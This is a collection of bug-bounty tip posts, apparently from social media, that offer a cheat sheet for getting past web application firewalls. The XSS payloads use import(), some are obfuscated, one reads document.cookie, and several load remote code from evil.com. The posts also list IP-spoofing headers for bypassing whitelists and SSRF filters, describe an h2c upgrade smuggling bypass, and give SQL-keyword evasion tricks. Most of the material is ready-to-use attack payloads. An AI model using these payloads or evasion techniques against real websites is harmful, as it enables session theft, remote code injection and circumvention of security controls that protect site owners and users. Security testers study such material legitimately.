Hey Hunters,
DarkShadow here—dropping a quick tip for your next XSS hunt!

Tired of firewalls blocking alert(), prompt(), or confirm()? Use import() to level up your payload game.

Try these sneaky XSS payloads:

import('data:text/javascript;base64,YWxlcnQoJ1hTUyEnKQ==')  
// Base64 → alert('XSS!')

import('data:text/javascript,%61lert(document.cookie)')  
// %61 = 'a'

Blind Payloads:

<script type="module">import('https://evil.com/payload.js');</script>

<img src=x onerror="import('https://evil.com/payload.js')">

<svg/onload="import('https://evil.com/payload.js')">

(()=>{import('https://evil.com/payload.js')})()

import(/*trick*/'https://evil.com/payload.js')

Encoded Variants:

\u0069\u006d\u0070\u006f\u0072\u0074('https://evil.com/payload.js')  
// import as Unicode encoding

<script>import(String.fromCharCode( 104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,112,97,121,46,106,115));</script>  
// https://evil.com/pay.js ASCII decimal encoding

Evil Payload.js Example:

export function pwn() {
  alert('DarkShadow is here!');
}

Hope these payloads help you understand how to bypass firewalls that block your payloads, even when an XSS vulnerability still exists. However, their effectiveness depends on the specific web application and firewall configurations you're testing against.

Want a full XSS WAF Bypass Cheat Sheet? Let me know in the comments—I'll cook one up!

Follow me 👉🏼 DarkShadow

#bugbountytips #xss #wafbypass

Hey Hunter's
DarkShadow here — back again with some killer techniques most bug bounty hunters overlook.

IP Spoofing Headers for Bypass & Testing:

X-Forwarded-For: 127.0.0.1
# Trusted by proxies/load balancers
X-Real-IP: 127.0.0.1
# Common in NGINX setups
X-Client-IP: 127.0.0.1
# Used for rate limiting/tracking
X-Remote-IP: 127.0.0.1
# May influence backend logic
X-Remote-Addr: 127.0.0.1
# Tries to override remote IP
True-Client-IP: 127.0.0.1
# Used by CDNs (e.g. Akamai)
CF-Connecting-IP: 127.0.0.1
# Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
# Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
# Seen in clustered environments
Forwarded: for=127.0.0.1
# RFC standard version of XFF
X-Originating-IP: 127.0.0.1
# Used by mail servers & legacy apps
X-Forwarded-Host: 127.0.0.1
# Can affect virtual host routing
X-Forwarded-Server: 127.0.0.1
# Backend routing logic
X-Real-Hostname: localhost
# Tries to spoof internal host
Via: 127.0.0.1
# May appear in proxy chains
Forwarded-For: 127.0.0.1
# Non-standard but seen in wild
Proxy-Client-IP: 127.0.0.1
# Java-based servers (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
# WebLogic-specific header


Use: Bypass IP whitelisting, rate limits, geo-blocks, SSRF filters, or trigger internal behavior. Combine multiple for better results in black-box testing.

Don't forget to follow me 👉🏼 DarkShadow

#bugbountytips #wafbypass

🪲 Bug Bounty Pro Tip: #H2C Upgrade Bypass

Target: Applications using HTTP/2 Cleartext (h2c) upgrades.

The Core Idea: Many Web Application Firewalls (WAFs) and reverse proxies process HTTP/1.1 but fail to correctly inspect traffic after it's upgraded to HTTP/2.

How to Test:

1. Find a target that accepts an Upgrade: h2c header (common in Java, gRPC, and some reverse proxies like Nginx).

2. Send an initial HTTP/1.1 request with the upgrade header:

GET / HTTP/1.1
Host: example.com
Upgrade: h2c
Connection: Upgrade

3. If the server agrees (responds with HTTP/1.1 101 Switching Protocols), the connection is now HTTP/2.

4. The Bypass: Craft and send malformed or smuggled HTTP/2 frames (e.g., with the :method header set to GET or POST). The downstream WAF may not parse this, allowing you to access internal endpoints or bypass security controls.

Why it works: The security boundary often only exists at the HTTP/1.1 layer. Once upgraded, your HTTP/2 traffic might be forwarded directly to the backend without inspection.

#BugBounty #Hacking #WebSecurity #WAFBypass #HTTP2

WAF Bypass Techniques + Tools

Here are some powerful tools and methods to help you bypass Web Application Firewalls during bug hunting:

### Tools:
- wafw00f — WAF fingerprinting tool
→ https://github.com/EnableSecurity/wafw00f
- bypass-firewalls-by-DNS-history — Discover origin IPs via old DNS records
→ https://github.com/vincentcox/bypass-firewalls-by-DNS-history
- CloudFail — Excellent for bypassing Cloudflare
→ https://github.com/m0rtem/CloudFail

### Effective Bypass Techniques:

1. Origin IP Discovery — Use historical DNS records (Censys, etc.) to find the real server IP and connect directly.
2. Dev/Staging Subdomains — These often don’t have WAF protection.
3. Case Variations — Try SeLeCt instead of SELECT
4. Comment Injection — SE//LECT
5. Multiple Encodings — URL → Double URL → Unicode, etc.
6. Parameter Pollution — ?id=1&id=2
7. HTTP Method Swap — Change from GET → POST → PUT
8. Content-Type Swap — Switch between form-data, JSON, XML
9. HTTP/2 Cleartext — Some WAFs only inspect HTTP/1.1

Quick WAF Detection Command:

curl -I https://target.com | grep -iE "server|cdn|cf-|x-"

Save this for your next bug bounty hunt! 🔥

#BugBounty #WAFBypass #BugBountyTips #Infosec